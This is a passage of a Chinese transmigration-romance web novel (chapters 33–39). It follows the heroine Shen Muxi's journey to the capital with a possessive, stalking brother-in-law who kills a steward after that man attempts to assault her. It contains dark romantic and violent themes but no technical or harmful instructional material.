一想到把沈木兮带回京城,到了自己的地盘上,他就激动和兴奋!等回去后,看他如何收拾她!一定要她也尝尝这半年里被人拿捏的滋味!
“行了,你今日的话很讨小爷高兴,下去准备领赏吧!”
奴才回想着方才,还不明是自己哪句话说到了主子心里,莫名其妙的去领赏了。
北
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辰殷越发的高兴,脚下步子都雀跃了起来。
已经在心里幻想,沈木兮乖乖跪在自己跟前,大喊着英勇九爷饶命,拼命磕头的场景!
这时,一股阴森凉意,蓦地从他身后灌入后颈。
如今正是深秋,天气泛凉也正常,可这道凉意,却异常的诡异。
北辰殷停下脚步,皱眉回身看去……
方才那奴才已经走远了,四周也早没有其他身影。
奇怪。
觉察到那股凉风来源于那边的密林里,北辰殷俊脸一正:“谁在那!我看到你了!”
“**,故意在这吓唬人吗?”
“小爷告诉你,赶紧出来,不然信不信我把你活剐了去!”
凉意未减,反而比方才更显得阴渗。
也愈发的熟悉!
这让他回想起这半年来自己的各种“遭遇”。
说起来也真是倒霉。
他除了被沈木兮欺负外。
还遇到了大大小小的破事……
比如出门时鞋子里被人放了铆钉,走在路上莫名被石头砸了。
有一回他骑马好端端的,却在猎林里迷路,马儿带着他掉进山谷,差点摔成了肉泥。
也是命大,掉下去的时候,挂在了崖边的歪脖子树上。
北辰殷一直都在怀疑是沈木兮在故意搞自己,奈何没证据。有次他摔得满头包,跑去质问她,被她狠狠白了一眼,那几日里都没吃过她的一次热饭。
“今日逮着你了,看小爷不把你揪出来!”
在北辰殷猫着身子往前探去时,树影摇曳,他没发现一道身影早已快步来到他的身后……
后颈愈发泛凉的同时,一只手伸来,按住了他的肩头。
“谁!”
北辰殷被吓得原地跳起,吓得耳朵上的花都掉了,一骨碌转身!
手中的**,对着那人身上胡乱刺去!
第34章 离开了他,她一定会死掉
好在她动作敏捷,及时往后退去。
“北辰殷,你疯了不成?”沈木兮瞪大眼睛,双手交叉护着自己。
北辰殷见是她,呼出一口气,随后恍然大悟一拍大腿!
“好啊,果真是你。沈木兮,你又想偷袭我!”
沈木兮一脸无语的表情:“早就给你说了,往日都是你自己倒霉,和我有什么关系?与其怀疑旁人,不如动动脑筋,想想自己的身边人。”
也是看在他这半年陪她“玩”和“解闷”的份上,她才屡次提醒他。
奈何这二傻子听不懂,对北辰晔一向信任和忠心,从未怀疑过半分。
沈木兮拍了拍他的肩膀,神色一正:“行了,和你说正事。”
刚抬手,四周的风声,又莫名湿冷阴寒了几分。
沈木兮没太在意,只是扯了扯衣服裹住身子,然后满脸严肃地道:“是这样的,我思来想去,还是打算早点告诉你。”
“你之前说让我和你回京,我想……还是算了吧。”
北辰殷的脸,顿时以肉眼可见的速度冷了下来,连以往那雀跃扬起的眉头,也瞬间耷拉。
这是他平生第一次,遭受到了此等挫败感!
不对,是侮辱!
居然比被苒妹妹拒绝还让人抓心挠肺!
“为什么?”他闷声地问,腮帮子气得高高鼓起!
非要一个原因不罢休。
“这和你无关。总之,谢过你的好意。”沈木兮很诚恳地说。
大半年的相处,虽然她和北辰殷都在互看不顺眼里的度过,但不可否认,他也给自己带来了不少乐趣。
也算是个朋友了吧。
北辰殷没说话,直勾勾盯着她半晌,像是终于捕捉到了什么,他一指她偷偷闪动的眼睛:“你撒谎!我看到了,你在撒谎!”
沈木兮:“……”
“你看错了。”
谁说这是二傻子的,跟狗一样精明。
沈木兮赶紧心虚的别开脸。
北辰殷却像是发现了新大陆!
眼神亮闪闪。
“你是想跟我去的,是不是!!”
沈木兮捂住他的嘴,警惕地看去四周。
“闭嘴吧你!”
她跟做贼一样,怕被人听着了,东看看西看看。
确定没有人影她才呼口气。
全然没注意自己的葱白指尖擦过北辰殷嘴唇时,他神色那一瞬的僵硬和不自然。
沈木兮在心里无奈长叹。
她的确想去。
想早点回京城,早点遇到女主,她便能早些完成“任务”。
自然而然她的小命也能尽早保住了。
况且这里离京城遥遥,乡野道路危机四伏,有皇家的队伍随行,也能安全一些。
可有什么办法呢,景愿不愿。
她不想逼迫他。
沈木兮松开北辰殷,眼神里是说不出的落寞:“我是想跟着你去,但又不能去。”
北辰殷的神色已经恢复,他表示听不懂:“想去就去,为什么不能?”
“难不成,还有人拦着你?”
沈木兮不想解释。
“反正我想说的话已经说了,谢过你的好意。”
“喂,你……”
沈木兮还是转身走了,旁边随风散下的簌簌落叶,尽显她远去的背影寂然和萧条。
她走后,北辰殷也气呼呼地走了。
爱去不去!
不去,拉倒!
安静下的林子里,隐藏在树影后的那道身影,好像在那驻足了许久。
直到沈木兮的身影彻底消失在前方,才跟着也消失不见。
等到这日的落日黄昏。
一道身影,携着外面的阴冷风声杵在了山顶的帐篷前。
沈木兮还在继续收拾自己要搬走的东西,抬头时微微被惊了一跳。
“景愿?”
她定睛一看,越过他高挺的身影,看去身后的日头,皱眉说。
“今日怎么这么早下课回来了?”
比往日早了快一个时辰。
更奇怪的是,他身上带着的不是往日路上的夜露,而是一些枯枝,脚边也浸着泥水。显然是去了一些地方。
沈木兮正觉得不对劲,他已经朝着她走了进来。
带着外面的凌厉寒气和一身风尘。
“景愿……”沈木兮下意识往后退。
明明他长成后越发的乖巧懂事,脾气也好,俨然是和以前不一样了。可不知为何,她反而对
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他生出了一种说不出的畏惧。
只听咚。
一个重重的包袱已经被他丢在了桌上。
沈木兮偏头看去,问:“这是什么?”
谢景愿说:“干粮,盘缠。”
沈木兮不明地打开包袱看了看,里面除了干粮和盘缠,还有一些新衣服,甚至是随身的伤药。
可她还是不懂。
狐疑地看着他,想得到一个答案。
谢景愿的头发因为赶路稍显凌乱,漆黑的眸子却是紧紧锁着她,哑声说:“我只问你,你是想回京的,是吗?”
沈木兮心头一怔,再看去那些准备好的东西。
有些惊讶地看着他。
“景愿,这是你准备……”
“嗯。”他笑了,像是少年时一样,会蹲在她身前,噙着雾色的眼尾弯起,像是一只小狐狸,仰起头望着她,“只要你想去,我们就去。”
他会无条件满足她的一切欲望。
但唯独不能让她离开自己。
他一定会寸步不离。
京城里危机四伏,她去了就知道他的好,让她明白自己的良苦用心。
终会有一天,她会懂得,离开了他,她一定会死掉。
‘你想去,我们就去……’
沈木兮的心,仿佛被什么给猛地撞了撞,泛起一阵不明涟漪,喉头发紧,几乎快无法呼吸了。
许久说不出一句话。
而他的这句话,被她狠狠记了整个半生,连今后被他囚禁的日子里,也无法忘怀。
……
因为和谢景愿商量好,和北辰殷一起回京。
搬帐篷的进程,又被迫打住了。
反正也住不了几天,搬来搬去多累啊。
只是这一夜,沈木兮却一夜没睡。
回京本是她最期待,也是她这么久来的第一目标。
可真要回去了,她竟觉得有点不舍,心里好像有一块位置,突然间就空了。
回京后,谢景愿就要踏上他的归程,很快会认识女主,也不再需要她。
想想还是怪欣慰的。
她居然真的能把男二养好。
可不知为什么,沈木兮望着外面的苍月,本是欣慰的脸上,突然挂满了两行泪。
第35章 愿不愿意跟了本王?
“嫂嫂?”
“你哭了……”
沈木兮听到帘子对面的声音,一惊,赶紧抹去脸上的泪水,背过身去,灿然一笑道。
“没有,我是在想,景愿长大了,我很高兴。”
是真的高兴。
也必须高兴。
谢景愿不说话了。
她装得睡着了,实则一夜未睡。他亦是一夜站在帘后她的床前,隔着帘子看着她睡时的容颜,数着她的平缓呼吸。
她方才睡不着时想着的,是他对吗?
可她为什么哭。
又为什么那么难受和伤心。
谢景愿困惑极了,始终无法想明白。但他知道的是,她哭着想着的,是他。
他既高兴又雀跃。
如以往的每个日夜一样,隔着帘子,抱膝蜷缩在她的床侧,餍足的陪她睡到了大天亮。
沈木兮次日就去给李管事递交了辞呈,再准备去见北辰殷。
好消息是李管事没拦着她自辞的事。
坏消息是木屋传消息小厮来说,北辰殷拒不见她。
沈木兮:“……”
还生气了。
晓得他一向雷声大雨点小,沈木兮站在木屋前,悄悄抬头,眼神偷瞄到前面柱子后藏着的一截湖色锦袍。
她憋笑,扬声对小厮道:“劳烦告诉公子,就说我昨日回去后,深思熟虑一番,觉得机不可失,还是想跟着他回京的。还望公子重新考虑一番。”
她转身走了。
北辰殷差点原地蹦跶三米高!
等小厮躬身走来,他立正站好,咳嗽一声板着个脸,明知故问:“谁来了?”
小厮说是沈木兮,又说明了沈木兮的来意。
北辰殷嘴一撇,傲娇地很:“想来就来,想不来就不来?当本公子什么人啊!去告诉她,本公子已经有了其他人选了,至于她,我还要仔细考虑一番!”
小厮应下去了。
他瞅着四周无人,那笑再也憋不住,噗嗤一声,跑得那叫一个四仰八叉!
就像是吃到了世间最美味的糖!
只是带人回京的这件事,是北辰殷一个人的主意,具体还要和北辰晔商议。
是以等到了这一夜,在北辰殷“仔细考虑和斟酌”后,把沈木兮和谢景愿带到了他的跟前。
说起来,这还是沈木兮第二次正式见他。
这位夜王看似平易近人,实则架子比谁都大,往日里很少出现在奴才跟前,来猎林也多是去猎场。
这次来江州的,只有他们兄弟二人,屋子里稍显空寂。
不过一进来,沈木兮就感觉到了他身上那股半年前熟悉的天家人气场。
许久未见,这个夜王比之前看着更显成熟稳重,也更有威仪。眉眼里的笑意也越多了。但在那阴沟鼻的衬托下,只觉他脸上暗藏着阴影幽暗。
他的阴,和谢景愿的不一样。
谢景愿的阴冷,是你看不着,摸不到,甚至看不到他,你也会感受到那股森凉。
而北辰晔,却像是故作出来的气势。
过犹不及,显得有几分做作。
算起来,他如今应该已经手握西越四洲的兵权。
在文里,这段时间是他前期最辉煌的时候。
因为等男主回宫,他便会被贬去沧州。也是在那里一点点的养精蓄锐,卧薪尝胆。
北辰殷瞅着沈木兮带着谢景愿走了进来,便迫不及待站起身对七哥说:“七哥,就是她了,她的菜你也吃过的,你看……”
被北辰晔不耐地横了他一眼,他灰溜溜地坐回去后,但眼神里犹带着期盼。
北辰晔无奈放下茶杯,看去进来的两人。
“听说九弟要带你等回京,抬起头来。”
沈木兮抬起脸。
北辰晔对她是有印象的,这半年多来,九弟时不时就跑来江州,说是来狩金鹿,实则为了什么,他不是不知道。
他细细打量了沈木兮一番,虽是个乡野里的小厨娘,但样貌不俗,眼神灵动。
难怪是把九弟的心思都勾了去。
这半年来,九弟连盛苒那都极少去了。
只是那她的眼神里的光,实在太灵动,太闪耀了。和她的身份实在不符。
这让北辰晔有了几分不喜。
随后北辰晔的眼神又落在后面,那站在阴影里,上半张脸都被暗光掩去的年轻
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男子身上,眸光一炬。
“他又是谁,怎么不抬脸?”
沈木兮跟着回头看去谢景愿。
这应该是谢景愿和文中男主的第一次交锋。
她突然有点紧张。
文里所写两人相见,是在谢景愿回宫之后了。
按剧情,明着西越太子早夭,实则失踪在外的消息,一直在西越皇室的秘密。目前男主尚不知情。
至于后面发生的那些事,也是因为女主。
又想着谢景愿在猎林这么久,都没被京里的人认出一二,北辰晔应该还不认识他,想来目前是安全的,她才把人带来。
她也早和谢景愿说好了,提前教了他一些规矩。
本以为他又不听话了。
谢景愿从阴影里走出来,双手交叠,对着北辰晔抬手行了个书生礼。
“草民见过王爷。”
北辰晔的眼神在这年轻男子的身上细细打量,虽是穿着一身简单的布衣袍子,但身子高挺,一丝不苟。
容颜更非池中物。
“听说,你一直拜江州陵县的齐老先生为师,日日去那边上课?”
沈木兮脸色微变。
夜王连这也打听好了?他想做什么?真不愧是他,老装货。
谢景愿站在他跟前,是卑微的姿势,但烛光打下的影子,却盖过了北辰晔那象征着的皇室的五彩**袍。
“是。”
“那老先生原是京中大家后族,本王曾去请过几次,都未得见一面。他愿收你为徒,想来定有你自己的独绝之处。不如今后你跟随在本王身边,效忠于本王,如何?”
沈木兮听得一愣一愣。
那老先生不就是年前,在猎林附近转悠,天天念着打油诗。她当时觉得谢景愿缺个教他看书写字的先生,就用两只鸡腿收买了他,让他天天盯着谢景愿。
说是读书,实则是想在她不在的时候,能帮她守着他一点。
怎就成大家了?
沈木兮眉心紧蹙。
她一直以为,自己才是看破这场棋局的人,可现在沈木兮突然间有种预感,自己好像……早已无形陷入了这场她已看不透的棋局中。
第36章 成了她的依靠
面对北辰晔的主动招揽之意,谢景愿眸底无波,细看眼尾还带着几分冷意:“回王爷,草民不想。”
沈木兮知道他不会去的,倒没想到他会拒绝的这么干脆。
不是不敢受,也不是不愿意。
是压根就不想去。
北辰晔眼神微眯,呼吸都重了重。
身为亲王,估计没几个人这样直言不讳地回绝他。
北辰殷瞅着情况不对劲,赶紧出声道。
“七哥,他是沈姑娘夫家的弟弟。”
他撇嘴又说。
“这小子一直是个闷葫芦来的,平日里谁人都不搭理,七哥你不必管他。再说了,他一个乡野里长大的人,能为七哥你效什么命?”
“夫家弟弟?”北辰晔皱紧眉头,语气显然不悦起来,连声调都高昂了几分,“你堂堂皇子,天天和个乡野小厨娘鬼混不说,这个小厨娘竟还有个和你差不多大的小叔子。也不怕传回去被人说道。”
“这件事皇兄不能答应你!”
沈木兮:“……”自己被回绝破防了,损她干嘛。
北辰殷顿时急了,哭丧着脸说。
“哎呀!七哥,可是我已经答应她了。”
北辰晔却是说什么也不同意了,直接让人把沈木兮和谢景愿带了出去。
谢景愿转身时,北辰晔余光再次瞥去他的侧脸,神色一凛。
本是极其陌生的面容,但当北辰晔看着他时,总是有种很古怪的感觉。不过多看两眼后,他又收回了目光,语气不容更改。
“九弟,此事就这样了吧!”
出去后,谢景愿抬起湿润的眼眸,很是自责的样子:“嫂嫂,方才是我不好。”
沈木兮看去身侧被夜色遮掩的男子,抬手给他掸去袖上的浮尘。
他的脾气,她是知道的,不喜欢和陌生人接触,更别说这两人本就是天生的对头。
就算还不认识,也能磁场不合。
她不怪他。
“景愿,没事的,不想去就不想吧。方才就算你不说,我也不会同意你去的。他们不带我们,那京城我们便自己去。走,回家。”
因为北辰晔的不允,沈木兮以为这次回京之事暂且搁置了。
未曾想,等到了这些皇家人回京前日,北辰殷突然冒雨找到了她。
“什么,你让我偷偷混进队伍?”
北辰殷穿着小厮的衣服,显然是偷偷跑来的。
听说那日后,北辰晔反对了他后,北辰殷闹了好久,最后还被北辰晔关了起来。
看他这眼下满是乌青的小憔悴样儿,就知道这几日他过得怕是十分不爽利。
“我已经安排好了,你到时跟在队伍里离开,无人会发现的。”
沈木兮看着极少这般认真严肃的他,眉心一皱,突然明白了什么,再看去北辰殷的眼中,生出一丝怜惜。
夜王平日里对北辰殷基本是事事顺着,连呵斥也是点到为止。
就算被谢景愿拒绝招贤,按照他礼贤下士的人设来,也不该明着气成这样。
这次却是一改往日,很是坚定地拒绝北辰殷带回自己的请求。
说白了,北辰晔其实就是觉得她是乡野女子,怕他同意带回去后生事,届时招惹到了他的身上。是以,无论谢景愿跟随与否,他都不会同意的。
可北辰殷私下要带自己回去,那就是北辰殷的事了。
半年不见,这个夜王还是一样的虚伪狡猾和工于心计。
此刻看着头发被雨水淋湿,眼神紧张又带着小小期盼看着自己的北辰殷,沈木兮想说什么,又不知道从何说起。
最后拧紧眉心,还是点头应了。
“好,我知道了。”
和皇家人一起自然是最好的结果。
若是偷偷跟随,也更能少去很多麻烦。
但她并不想给北辰殷惹事,便在心里打算着,届时到了京中,她就先提前脱离队伍,也算是还他这个人情了。
“谢谢你,北辰殷。”这句谢,是真心的。
北辰殷先是咧嘴一笑,狼狈的他,笑得像是他往日头上时常戴着的那朵大黄花,张扬又灿烂。
很快他又收住,冷哼一声!
“少说
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恭维我的话,我和你的关系可还没那么好呢!行了,我散完步了,方才是误打误撞才走到你这的,别以为我是特意前来的。哼,爷走了!”
他冒着大雨,转身跑远了。
沈木兮,乖乖上钩吧!
等到了京城,看小爷不欺负得你大喊我九哥哥饶命,我就不叫北辰殷!
心中虽是这样想,但他脸上的笑意却越是洋溢,差点在山野雨下撒起了欢。
沈木兮无奈摇了摇头。
这傻小子。
转身时,她身形一愣,后厨房的拐角,李管事贼兮兮的身影,正从那边一闪而过。
她皱起眉头。
自打那回过后,李管事就一直躲着她,不敢再找她麻烦,但也有像是这样偷偷摸摸藏在暗处,偷瞄她的时候。
沈木兮知道他不敢做什么,所以早已习惯。
今夜她也没放在心上,后厨房的事情忙活完了,她独身回到了山顶上。
入秋后山顶的风越发的泛凉了。
沈木兮走在路上,只觉得有些不适。
身后一直藏在风声里,一直未散去的脚步声,让她觉察到后面有人跟着她。
沈木兮直觉不太妙,拢紧衣服,加快步伐。
没成想回山顶的唯一小道,居然被一棵大树挡住了。
树枝交错,密密麻麻,一时间还真过不去。
四周的风声加剧,沈木兮脸色变了。
本想攀过这棵大树越过此处。
树干上不少青苔,她不小心崴了脚。
而这时,有人走出了林子。
不用回头,她都感觉到一股令人强烈不适的阴森!
在她准备去捡地上的大石头……一道声音响在她头顶上方,携着一股温湿感,喷洒在她的后颈下。
“嫂嫂。”
沈木兮抬起头,看到是谢景愿,大呼了口气。
明明眼前的,才是那个整本书里最可怕的人,可现在的她,却像是有了倚靠!紧张不安的情绪一扫而空。
“景愿,是你啊。”
她看去后方有人影闪动的树林,眸光微凝。
第37章 唤我阿兮
谢景愿刚刚才从外面回来,他要去京城了,老先生那边的功课还有一些,所以这几日回来的有些迟,他问道:“怎么了?”
他也顺着沈木兮的眼神看去那边。
“没什么,看错了。”沈木兮没有说实话,明日就要走了,她不想再去招惹麻烦。
她强撑着起身,只是脚踝比她预想中的肿胀难受。
谢景愿皱眉:“上次不是说了吗,我若不在,不要一个人上山。”
她要怎么才会懂得,没有他在身边,她什么事也做不了呢?
他蹲下身:“我来背你。”
沈木兮有点迟疑,才说要和他保持一些距离。但实在疼得很,她点点头,还是贴了上去。
谢景愿的背,比她想象中的更结实宽广。
虽然她不想承认,但他的确让人很有安全感。
这半年来她是没做那种噩梦了,但怪异的梦却也没少做。
就说上回,她在后厨房给谢景愿熬煮药膳时,不小心睡了过去,被谢景愿抱回了山顶。
她半路就醒了,可不敢睁眼。
那一夜便做了一个梦。
梦里,她穿着本该是男子的大红喜袍,出现在一个金碧辉煌,漾着琉璃灯火的婚殿中。
她撩起前面的大红锦帐床帘,男人则是穿着大红嫁衣,身若无骨地侧躺在床上,一点点别开他脸上的红纱盖头,仰起头,湿红的眼尾噙着熟悉的水雾,既清冷高傲,又媚骨天成……可那眼神却又带着她从未见过的狠戾和占有!
他爬至她身前,唤着她说:“嫂嫂,你怕什么,我们才是家人……”
沈木兮生生被吓醒了,那两个月她都不敢和谢景愿对视!
连红色的东西都不碰!
思绪回到现实,沈木兮甩了甩头,再看着身下背着自己的男子,她眼神闪烁。
她好像从没有这样仔细看过他。
他生得真的很好看,她很少见过这样清艳的男子,连细挑眼尾里染的寒露都变得绝艳。
估计是因为她长了点肉的缘故吧,他背得像是有点吃力,呼吸愈发粗重,连脚步都变得缓慢了。
额前溢出不少汗珠,顺着他稀碎的刘海,一点点滴落在乡野的山风里。
看着看着,沈木兮的眼圈又红了,想着马上要回京,一切都会回到原点。
她心中那股滋味又生了出来。
到底是一起生活这么久,不舍也是正常。
不过离别之事,她可以自行消化。
至于他对她。
自己于他,不过是个痛改前非的小嫂嫂,无足轻重,想来即便是离开了他,他也不会如何的。
“景愿,今后你就唤我阿兮吧。”
本就不是亲的家人,更别说她还只是借了人家的身子。
要回京了,便要重新的开始。
谢景愿的脚步顿住,幽暗的眼睛眨了眨,如被人投进了万千星海,一点点泛着光亮……
良久才听得他嗯了声,用力掂了掂她的身子,脚步轻快地没入那乡野里的月下苍夜。
……
有了北辰殷的安排,沈木兮和谢景愿很顺利的混进了回京的队伍里。
他们被乔装成了随行的奴才,离开猎林的一路上,没有引起任何人的猜疑。
到底是在这住了快一年,真走了,沈木兮还有点舍不得。
临别时,迎春一行人还跑来相送,哭得那叫一个比一个厉害。
当然,她们哭得不是她。
远离了猎林范围,已是到了晌午。
沈木兮看着日头,拿出空水壶对谢景愿说:“景愿,你在这留着,我去附近打水。”
马上要离开江州了,之后要途经一片荒芜之地,他们只是“奴才”,饿了渴了怎能随意去找主子要东西,还是事先准备好才是。
队伍还在前行,沈木兮不敢带着谢景愿一起耽搁,只自己匆匆去去就回。
谢景愿听着后方野草晃动,知道她走远了。
他余光打量周遭,打算偷偷跟过去。
这已经是他的习惯了。
她以为,他真的有每日都乖乖跟着老先生每日读书写字,可她不知,这些个岁月里,他时常会站在后厨房外的幽暗之处,偷偷望着她。
如同每一夜,他表面上安稳地睡在一帘之隔的小床上,实则在那每一个夜深人静时,都会蜷缩睡在她的床边,抱膝将她凝视……
可没想到,刚动作,就被人拦住了。
是几个随行的皇家士兵。
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“谢景愿是吧?别藏了,我们主子知道你跟在队伍里。走吧!我家王爷要见你!”
后方树林沈木兮的身影越来越远,谢景愿眉心紧皱,看着朝着自己围堵过来的士兵,差点忍不住动手了。
可低头一看。
这身衣服是沈木兮熬了一个月的半夜,才给他做好的新衣服。
想着今日临行时,她还亲手给他穿上,眼神期盼又带着一点通红,骄傲地说:“景愿真的长大了。”
他想,若是弄脏了,她肯定会生气的。
他不想她生气不理自己。
她也不喜欢自己去惹事。
谢景愿收住了眼尾悬着的冷意。
“好。”
……
溪流就在这附近,沈木兮先前下山时来过,很熟悉。是以不多时就装满了两大壶水。
正提着水壶准备回去,心中突然警铃大作。
这半年来因为谢景愿的乖巧,她的第六感已经很久没有出现过这样的波动了。
在那道身影从树林里飞扑出来时,她及时闪身到一旁!
才没有被那人得逞。
沈木兮转头看去,脸色一变。
“李管事。”
果真是他。
看他昨夜那鬼鬼祟祟的样子,就知道他心里有鬼!只是她没想到,自己跟着皇家队伍离去这么远,马上都要出江州了,这人还会有胆子跟来。
就不怕被皇家士兵发现有人尾随,把他当成山贼抓了去?
沈木兮冷着脸说:“李管事,这半年多来你我不曾起过冲突。你也算是我的雇主,咱们好聚好散吧。”
李管事怎会算了?
这女人半年时间里是越发的丰盈勾人,穿着一身厨娘衣服也遮挡不住她的风韵身段,日日晃在他眼前,若非不是那个鬼少年整天到晚的出没,还时不时守在厨房外,他早就得手了!
现在她人都要走了,他又怎能甘心罢休。
昨夜若不是那小子再次突然出现,自己早就得手了!
而今日嘛……
李管事搓着手,眼神里那熟悉的猥琐中,还带着一股浓烈的恨意:“乖乖从了我吧,随你如何反抗,今日谢景愿是不可能再来救你了!”
哈哈哈!
第38章 同住半年,能清白到哪去!
在失去半个命根子的这段时间里,他每一日都无不想着报仇雪恨!
要把自己的痛苦,成倍的还给这女人。
今日,终于要实现了!
沈木兮身子往后退去,她脸色微沉,敏锐地觉察到他那个“再”字。
什么意思?
谢景愿曾经有救过她吗?
还有,李管事怎么这么确定谢景愿不会来!
他当然知道了。
李管事不仅仅知道,还很大胆放肆,就好像他是早被人安排在这的!
这种从未有过的浓烈不安感,顺着脚心底,蔓延进沈木兮的四肢百骸。
李管事像是憋了许久,终于要将所有郁结之气,尽数泄出来的疯子!
连豁出性命也不顾了。
偏偏沈木兮昨夜还崴了脚!
李管事老脸狰狞,发疯一般朝着她逼近。
“你知不知道!这半年老子是怎么忍的,该死的谢景愿,居然毁了老子的半个命根!今日老子要了你后,就去把他也给杀了!”
“还要把他的肉一点点活剐下来!”
沈木兮震惊极了。
毁了命根?
这些事,她从来都是不知的。
可她脚踝还没好,根本逃不远,刚跑了一段距离,脚踝一抽,又栽在了地上!
李管事已经追来,桀桀怪笑着!
“沈木兮,你跑不了的,老子不仅仅要要了你,还要把你的下半身毁了!让你今后都伺候不了其他人!”
“装什么清高,你和那谢景愿同住半年,你们二人又能清白到哪里去!!”
山林里的动静,惊起飞鸟无数。
缓慢前行的队伍里,刚被带至夜王马车前的谢景愿,猛地回头看去身后的野林。
他要离开!
马车帘子被北辰晔掀起,露出他那张俊逸温厚却又暗藏阴险的面容。
“你是第一个,敢数次违背本王命令的人。”
谢景愿好像真的和这人磁场不合,连听到他的声音,都是眉心紧皱。
他没说话,依旧要走!
北辰晔笑了。
“知道本王为何要睁一只眼闭一只眼,由着九弟把你们带上?”
“你若是愿意成为本王的部属,今后助本王一臂之力,本王自会派人去接你那落下的嫂嫂。”
谢景愿站在原地,风里衣服简朴单薄的他,眼神里却带着淬了冰的阴寒。
“我说了,不想。况且,你也不配。”他眼神看着旁处,连一个正眼也不屑给北辰晔。
北辰晔脸上的温厚笑意,顿时冷下。
四周的手下也怒指着谢景愿!
“我们夜王堂堂龙子,四州兵权在握,还成不了你的主子不成!”
谢景愿愿意和他们多说两句废话,已经是破天荒了,现在他一点也不想在这多留。
可北辰晔根本就不打算放过他!
很快,四周围堵的士兵越来越多,把他围得严丝合缝!
“谢景愿,本王看得起你,你就该知足!况且,本王想要的东西,就没有得不到的。”
谢景愿下颌收紧,眼底最后的光,一寸寸阴暗下去,剩下一片深不见底的阴鸷……
而于此时,后方那离得越来越远的山野里,正传出一声凄厉的惨叫!
山涧旁,沈木兮脸上带着伤,跌坐在地上。
可她的表情却是森冷无比!
手上正握着一根尖锐的木叉,尖部还带着鲜血,那鲜红正在一点点滴落!
对面,李管事捂住自己鲜血不止的眼睛,在地上不停地哀嚎着。
“啊啊!我的眼睛,**,你这个**!”
方才一番打斗,虽然李管事的一只眼睛没了,但沈木兮也受伤严重。
她还重重摔下了山坡,身上都是大大小小的伤,已经站不起来了。
看着眼前不住惨叫的李管事,她抓紧时间,奋力地往后退去!
手心一滑,她才发现身后居然是山涧最边缘了。
下面是七八米高的石壁。
摔下去不死也得来个高位截瘫!
娘的。
老天爷,真有你的。
让老娘穿越,落了个这般结局。
“沈木兮,老子要杀了你!杀了你!”
浑身是血的李管事,越发的疯狂,朝着她继续飞扑!
沈木兮身形不稳,一个后仰朝着山涧里坠落。
呼啸风声里!
有人一把抓住她。
那强有力的手臂,比她记忆中的还具有爆发力!
沈木兮倏地抬头看去!
山涧风儿里,男子双目猩红,身上也带着一些血迹和伤,他的眼神极其坚定,只是双唇微微泛白。
“阿兮,
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是我来迟了。”他的声音竟也在颤抖。
沈木兮泪水瞬间迸出了眼眶!
“景愿……”
而这时,李管事悄然出现在谢景愿的身后,手中拿着一把**,这一幕看得沈木兮心头颤动,紧张极了,大喊道!
“景愿,后面!”
谢景愿阴冷地笑了,嘴角诡异上扬。
眼底里一直被压制的阴鸷感,越发的浓烈。
此刻的他,好像终于有了文中所描写的那般“白如**,阴鸷如鬼”的模样!
一脚将李管事踹去了山涧里!
沈木兮是真的被吓坏了,被拉上来后便一把扑进他怀里,身子都还在阵阵颤抖着。
第一次在他怀中,这样的放声大哭。
“别怕,没事了,没事了。”他抱着浑身是伤的她,眼里的可怕狠戾渐渐消失,有的都是湿红和内疚。
他该跟来的。
没了他,她什么都做不好。
“阿兮,我先把你送回去,北辰殷在前面等你。”
沈木兮听出他的话中意,仰起满是泪痕的脸:“景愿,你要做什么去?”
谢景愿微笑,轻抚着她的小脸。
“李管事是猎林的人,他和你一向不合,若是在我们临别之日死在了这,肯定会被人怀疑的。”
沈木兮想想也是。
西越律令森严,随意**,是要吃官司的。
“那好,你赶紧把他救起来,放在路边。至于后面如何,就看他自己的命数了。”她抓着他衣袖说。
谢景愿低头看去,眼神里噙着柔光,声音越发的温和了。
“好。”
“小心点……”
放心吧,他不会让这件事被人知道。
即便有人听到了,他也会剁下那人的耳朵。
本还想问他身上的剑伤是怎么回事,还有他脸上的血迹……越看越像是刚经历过一场缠斗?
可她刚被北辰殷接到,就精疲力尽晕了过去。
谢景愿把怀中的人递给北辰殷:“替我好好照看她,她若出点差池,我会杀了你。”
北辰殷这是第一次,从沈木兮身边这个不善言辞的冷漠少年身上,感到了一股阴骇之气。
仿佛蕴藏着什么可怕的东西。
他被惊得打了个哆嗦,再抬头时,谢景愿已经转身不见了。
第39章 亲手给她报仇
谢景愿来到山涧下时,李管事已经半死。
但还留着一口气。
他用自己仅存的一只眼,惊恐地看着出现在面前的男子。
像是看到了什么比厉鬼还要吓人的东西,李管事浑身一凛,拖着被摔成烂泥的身子,可连爬走都没有力气。
他只恨方才自己怎没直接摔**去!
谢景愿站在他跟前,阴冷怪异地看着他。
看着身下男人逃路无门,在血泊里苦苦挣扎,他的眼底一片冷湖死寂,反而很享受其中,还微微蹲下身,声音温柔的像是在低诉。
“我也不想伤害你的,可是你不死,她会夜不能寐。你也知道的,我最怕她了。”
说着怕,可他的眼神却比谁都要狠戾凶残。
“放心,我会轻一点的,只要你永远的闭上眼睛,她才不会害怕,不会再为你哭了。”
“知道吗,她那双眼睛,只能为我哭的。”
就像是那一夜一样,偷偷为了他,在床头啜泣。
李管事嘴巴张了张,却因为过度惊恐发不出声音来。
“救……救命……救命啊!”
“啊!”
……
“景愿!”
沈木兮苏醒过来时,已经不知今日是何夕。
她身上换了崭新的女装,而不是先前伪装的奴才衣服。
还躺在了宽敞奢华的马车里。
身下的软垫,也被人垫了好几个。
“九皇子,她醒了。”
伺候在旁的婢女对一边打瞌睡的男子轻声说着。
“什么?醒了,醒了!”北辰殷被惊醒,差点随着马车的颠簸当头栽去了地上。
他赶紧爬起身走来,端详着苏醒来的沈木兮。
大口吐出一口气!
“告诉随行的大夫,就说本皇子不要他命了。”
沈木兮这才反应过来,自己竟是在北辰殷的马车里。
她昏迷前的记忆也开始渐渐清晰。
“九皇子,我家景愿呢?”
“还有,我昏迷多久了……”
马车外的格外热闹的人声鼎沸,直觉告诉她,这已经不是在江州附近的山野了。
不仅仅不是江州,这陌生的感觉,甚至是已经远离江州很久了。
北辰殷看着她苍白小脸上带着殷切问询的样子,嘴巴张了张,一时间不知该怎么说。
沈木兮赶紧撩开马车帘子,外面所见,果真不是江州!
入目是崭新的青石板路,街道两侧朱楼画栋。
街头巷尾人声鼎沸,热闹繁华!
再看已经在身后方的偌大城楼,耀眼夺目的清晨日光,从上方洒下,沈木兮许久未见日头,被刺痛了眼睛,赶紧落下帘子,惊讶又茫然地说:“难道这已经是京城了?”
北辰殷知道是瞒不住了,只能点头:“是,这是到了京城,自打那日你受伤晕厥后,就生了一场大病,一直昏睡不醒。从那日到今时,已经过去半个月了。”
半个月……
沈木兮左右四望,还撩开了帘子马车边张望,越看越是着急。
“景愿呢?我家景愿呢?”
“他在哪儿?”
